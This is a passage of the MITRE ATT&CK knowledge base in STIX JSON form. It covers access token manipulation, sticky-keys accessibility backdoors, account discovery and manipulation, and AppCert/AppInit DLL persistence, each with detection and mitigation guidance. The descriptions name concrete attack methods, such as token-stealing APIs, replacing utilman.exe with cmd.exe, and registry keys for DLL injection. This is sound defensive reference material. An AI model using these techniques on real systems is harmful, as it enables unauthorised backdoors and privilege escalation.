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            "description": "Windows uses access tokens to determine the ownership of a running process.  A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process.  When this occurs, the process also takes on the security context associated with the new token.  For example, Microsoft promotes the use of access tokens as a security best practice.  Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.  (Citation: Microsoft runas)\n  \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.  An adversary must already be in a privileged user context (i.e. administrator) to steal a token.  However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n'''Create Process with a Token''' - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit\u2019s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.  (Citation: Metasploit access token)  The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens.  (Citation: Cobalt Strike Access Token)\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity.  Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.  \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code> (Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code> (Citation: Microsoft ImpersonateLoggedOnUser)).  Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Access Tokens\n\nEffective Permissions: SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3",
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                    "external_id": "T1134"
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                {
                    "source_name": "Microsoft runas",
                    "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx"
                },
                {
                    "source_name": "Pentestlab Token Manipulation",
                    "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.",
                    "url": "https://pentestlab.blog/2017/04/03/token-manipulation/"
                },
                {
                    "source_name": "Metasploit access token",
                    "description": "Offensive Security. (n.d.). What is Incognito. Retrieved April 21, 2017.",
                    "url": "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/"
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                {
                    "source_name": "Cobalt Strike Access Token",
                    "description": "Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. Retrieved April 21, 2017.",
                    "url": "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/"
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                {
                    "source_name": "Microsoft Command-line Logging",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
                },
                {
                    "source_name": "Microsoft LogonUser",
                    "description": "Microsoft TechNet. (n.d.).  Retrieved April 25, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft DuplicateTokenEx",
                    "description": "Microsoft TechNet. (n.d.).  Retrieved April 25, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft ImpersonateLoggedOnUser",
                    "description": "Microsoft TechNet. (n.d.).  Retrieved April 25, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx"
                },
                {
                    "source_name": "BlackHat Atkinson Winchester Token Manipulation",
                    "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Tom Ueltschi @c_APT_ure",
                "Travis Smith, Tripwire",
                "Jared Atkinson, @jaredcatkinson",
                "Robby Winchester, @robwinchester3"
            ],
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                "Access Tokens"
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            "x_mitre_permissions_required": [
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            "x_mitre_effective_permissions": [
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            "x_mitre_version": "1.0"
        },
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            "id": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Accessibility Features Mitigation",
            "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1015",
                    "external_id": "T1015"
                },
                {
                    "source_name": "TechNet RDP NLA",
                    "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx"
                },
                {
                    "source_name": "TechNet RDP Gateway",
                    "description": "Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
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            "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:26.946Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n*On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n*Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n*Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n*Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n*App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center",
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                    "external_id": "T1015"
                },
                {
                    "source_name": "FireEye Hikit Rootkit",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). THE \u201cHIKIT\u201d ROOTKIT: ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
                },
                {
                    "source_name": "DEFCON2016 Sticky Keys",
                    "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                    "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
                },
                {
                    "source_name": "Tilbury 2014",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
                    "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/"
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            "id": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Account Discovery Mitigation",
            "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1087",
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "UCF STIG Elevation Account Enumeration",
                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
                    "url": "https://www.stigviewer.com/stig/microsoft%20windows%20server%202012%20member%20server/2013-07-25/finding/WN12-CC-000077"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                }
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            "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:06.988Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.\n\nAlso, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User\n\nContributors: Travis Smith, Tripwire",
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            "id": "course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Account Manipulation Mitigation",
            "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1098",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:12.196Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, API monitoring, Windows event logs, Packet capture\n\nPermissions Required: Administrator",
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                {
                    "source_name": "Microsoft User Modified Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/windows/device-security/auditing/event-4738"
                },
                {
                    "source_name": "InsiderThreat ChangeNTLM July 2017",
                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
                },
                {
                    "source_name": "GitHub Mimikatz Issue 92 June 2017",
                    "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.",
                    "url": "https://github.com/gentilkiwi/mimikatz/issues/92"
                }
            ],
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        },
        {
            "type": "course-of-action",
            "id": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "AppCert DLLs Mitigation",
            "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1182",
                    "external_id": "T1182"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "AppCert DLLs",
            "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Engame Process Injection July 2017)\n*CreateProcess\n*CreateProcessAsUser\n*CreateProcessWithLoginW\n*CreateProcessWithTokenW\n*WinExec\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n\nDetection: Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process Monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1182",
                    "external_id": "T1182"
                },
                {
                    "source_name": "Engame Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Sysinternals AppCertDlls Oct 2007",
                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
                    "url": "https://forum.sysinternals.com/appcertdlls%20topic12546.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Loaded DLLs",
                "Process Monitoring",
                "Windows Registry"
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            "x_mitre_effective_permissions": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
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            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "AppInit DLLs Mitigation",
            "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1103",
                    "external_id": "T1103"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:15.409Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "AppInit DLLs",
            "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem Requirements: Secure boot disabled on systems running Windows 8 and later",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1103",
                    "external_id": "T1103"
                },
                {
                    "source_name": "AppInit Registry",
                    "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
                    "url": "https://support.microsoft.com/en-us/kb/197571"
                },
                {
                    "source_name": "AppInit Secure Boot",
                    "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
                    "url": "https://msdn.microsoft.com/en-us/library/dn280412"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Engame Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Loaded DLLs",
                "Process monitoring",
                "Windows Registry"
            ],
            "x_mitre_effective_permissions": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
